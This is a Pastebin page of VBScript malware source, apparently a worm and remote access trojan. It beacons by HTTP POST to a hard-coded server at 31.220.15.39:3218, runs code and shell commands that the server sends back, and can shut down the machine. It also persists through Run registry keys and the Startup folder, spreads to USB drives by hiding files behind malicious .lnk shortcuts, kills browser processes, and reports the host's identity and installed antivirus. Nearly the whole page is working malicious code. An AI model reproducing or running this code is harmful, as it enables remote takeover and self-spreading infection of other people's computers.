Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On Error Resume Next
- dim sh
- dim port
- dim host
- dim DR
- dim FN
- dim FN2
- dim pr
- dim rg
- dim tsk
- dim tsk2
- dim tsk3
- set sh =WScript.CreateObject("WScript.Shell")
- dim fs
- set fs= CreateObject("Scripting.FileSystemObject")
- dim name
- dim fld
- dim chusb
- dim cmd
- dim slp
- cmd = split (response,spliter)
- host="31.220.15.39"
- port="3218"
- DR = sh.ExpandEnvironmentStrings("%Appdata%") & "\"
- FN ="ROOT1.VBS"
- name="Root_H" & "_"
- dim fh
- dim fh2
- dim us
- us = "TRUE"
- rg = "keys"
- slp = "1000"
- fn2 = "ROOT2.VBS"
- pr = "1"
- fld = "FALSE"
- tsk = "firefox.exe"
- tsk2 = "chrome.exe"
- tsk3 = "IDMan.exe"
- wscript.sleep slp
- ins
- dim spl
- spl="SYS"
- dim i
- i=0
- while true
- dim a
- a= split(post("Online",""),spl)
- select case a(0)
- case "exc"
- dim sa
- sa= a(1)
- execute sa
- case "OW"
- Dim objShell
- Set objShell = WScript.CreateObject( "WScript.Shell" )
- objShell.Run(a(1))
- Set objShell = Nothing
- case "shutdown"
- shell.run " /c shutdown /s /t " & response(1),7
- case "restart"
- shell.run " /c shutdown /r /t " & response(1),7
- case "logoff"
- shell.run " /c shutdown /l /t " & response(1),7
- case "uns"
- uns
- end select
- i = i + 1
- if i> 2 then
- i=0
- xins
- end if
- wend
- function ins
- on error resume next
- us= sh.regread("HKCU\" & rg)
- if us="~" then
- if lcase( mid(wscript.scriptfullname,2))=":\" & lcase(fn) then
- us="TRUE"
- sh.regwrite "HKCU\" & rg, us, "REG_SZ"
- else
- us="FALSE"
- sh.regwrite "HKCU\" & rg, us, "REG_SZ"
- end if
- end if
- Err.Clear
- fs.CopyFile wscript.scriptfullname,dr & fn ,true
- fs.CopyFile wscript.scriptfullname,dr & fn2 ,true
- dim cng
- cng= sh.ExpandEnvironmentStrings("%USERNAME%")
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Pictures\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Pictures\" & fn2 ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Downloads\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Downloads\" & fn2 ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Documents\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Documents\" & fn2 ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Music\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Music\" & fn2 ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Videos\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\Videos\" & fn2 ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\" & fn ,true
- fs.CopyFile wscript.scriptfullname,"C:\Users\" & cng & "\" & fn2 ,true
- set fh = fs.OpenTextFile( dr & fn, 8, false)
- set fh2 = fs.OpenTextFile( dr & fn2, 8, false)
- if Err.Number>0 then
- wscript.quit
- end if
- xins
- end function
- sub xins
- on error resume next
- sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ"
- sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ"
- '''''''''''''''''''
- sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn2, chrw(35) & dr & fn2 & chrw(35), "REG_SZ"
- sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn2, chrw(35) & dr & fn2 & chrw(35), "REG_SZ"
- fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true
- fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn2 ,true
- for each xx in fs.Drives
- if xx.isready then
- if xx.FreeSpace >0 then
- if xx.drivetype=1 then
- if fs.fileexists(xx.path & "\" & fn) then
- fs.getfile(xx.path & "\" & fn).Attributes=0
- end if
- fs.copyfile dr & fn , xx.path & "\" & fn,true
- fs.copyfile dr & fn2 , xx.path & "\" & fn2,true
- For Each x In fs.GetFolder( xx.path & "\" ).Files
- wscript.sleep 1
- if instr(x.name,".") then
- if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
- x.Attributes = 2
- if ucase(x.name) <> ucase(fn) then
- With sh.CreateShortcut(xx.path & "\" & x.name & ".lnk")
- .TargetPath = "cmd.exe"
- .WorkingDirectory = ""
- .Arguments = "/c start " & Replace(fn," ", ChrW(34) _
- & " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"
- .IconLocation = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")
- if instr( .iconlocation,",")=0 then
- .iconlocation = .iconlocation &",0"
- end if
- .Save()
- end with
- end if
- end if
- end if
- Next
- end if
- end if
- end if
- next
- Err.Clear
- end sub
- function uns
- on error resume next
- dim cng
- cng= sh.ExpandEnvironmentStrings("%USERNAME%")
- pr = "0"
- fh.close
- fh2.close
- sh.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn
- sh.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn
- sh.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn2
- sh.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn2
- fs.DeleteFile dr & fn ,true
- fs.DeleteFile dr & fn2 ,true
- fs.DeleteFile "C:\Users\" & cng & "\Downloads\" & fn ,true
- fs.DeleteFile "C:\Users\" & cng & "\Downloads\" & fn2 ,true
- fs.DeleteFile "C:\Users\" & cng & "\Documents\" & fn ,true
- fs.DeleteFile "C:\Users\" & cng & "\Documents\" & fn2 ,true
- fs.DeleteFile "C:\Users\" & cng & "\Pictures\" & fn ,true
- fs.DeleteFile "C:\Users\" & cng & "\Pictures\" & fn2 ,true
- fs.DeleteFile "C:\Users\" & cng & "\Music\" & fn ,true
- fs.DeleteFile "C:\Users\" & cng & "\Music\" & fn2 ,true
- fs.DeleteFile "C:\Users\" & cng & "\Videos\" & fn ,true
- fs.DeleteFile "C:\Users\" & cng & "\Videos\" & fn2 ,true
- fs.deletefile "C:\Users\" & cng & "\" & fn ,true
- fs.deletefile "C:\Users\" & cng & "\" & fn2 ,true
- fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true
- fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn2 ,true
- for each xx in fs.Drives
- if xx.isready then
- if xx.FreeSpace >0 then
- For Each x In fs.GetFolder( xx.path & "\").Files
- On Error Resume Next
- if instr(x.name,".") then
- if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then
- x.Attributes = 0
- if ucase(x.name) <> ucase(fn) then
- fs.deletefile(xx.path & "\" & x.name & ".lnk" )
- else
- fs.deletefile( xx.path & "\" & x.name )
- end if
- end if
- end if
- Next
- end if
- end if
- next
- wscript.quit
- end function
- function post(cmd ,da)
- Const strComputer = "."
- Dim objWMIService, colProcessList
- Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
- Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & tsk &"'")
- Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & tsk2 &"'")
- Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & tsk3 &"'")
- For Each objProcess in colProcessList
- objProcess.Terminate()
- Next
- post=""
- Dim o
- Set o = CreateObject("MSXML2.XMLHTTP")
- o.open "POST","http://" & host & ":" & port &"/" & cmd, false
- o.setRequestHeader "User-Agent:", inf
- o.send da
- post=o.responseText
- end function
- dim xinf
- function security
- on error resume next
- security = ""
- set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
- for each objitem in colitems
- versionstr = split (objitem.version,".")
- next
- versionstr = split (colitems.version,".")
- osversion = versionstr (0) & "."
- for x = 1 to ubound (versionstr)
- osversion = osversion & versionstr (i)
- next
- osversion = eval (osversion)
- if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
- set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
- Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
- for each objantivirus in colantivirus
- security = security & objantivirus.displayname & " ."
- next
- if security = "" then security = "nan-av"
- end function
- function inf
- on error resume next
- if xinf="" then
- dim s
- s="mtx"
- s = hwd
- inf = inf & s & "\"
- s="??"
- s= sh.ExpandEnvironmentStrings("%COMPUTERNAME%")
- inf = inf & s & "\"
- s="??"
- s= sh.ExpandEnvironmentStrings("%USERNAME%")
- inf = inf & s & "\"
- s="??"
- Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")
- dim country
- For Each aaa in aa
- s= aaa.Caption & " SP" & aaa.ServicePackMajorVersion
- country= aaa.countrycode
- exit for
- Next
- inf =name & inf & s & "\\4.0.0.1\" & scr &"\" & us & "\"
- xinf=inf
- xinf=inf
- else
- inf=xinf
- end if
- end function
- function scr
- on error resume next
- scr = ""
- set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
- set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
- for each objitem in colitems
- versionstr = split (objitem.version,".")
- next
- versionstr = split (colitems.version,".")
- osversion = versionstr (0) & "."
- for x = 1 to ubound (versionstr)
- osversion = osversion & versionstr (i)
- next
- osversion = eval (osversion)
- if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
- set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
- Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
- for each objantivirus in colantivirus
- scr = scr & objantivirus.displayname & " ."
- next
- if scr = "" then scr = "N/F"
- end function
- Function PID
- PID=0
- on error resume next
- PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_
- "Process.Handle='" & _
- sh.Exec("mshta.exe").ProcessID & "'").ParentProcessId
- End Function
- function HWD
- Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
- Set aa = a.ExecQuery("SELECT * FROM Win32_LogicalDisk")
- For Each aaa In aa
- if aaa.VolumeSerialNumber<>"" then
- HWD= aaa.VolumeSerialNumber
- exit for
- end if
- Next
- end function
Add Comment
Please, Sign In to add comment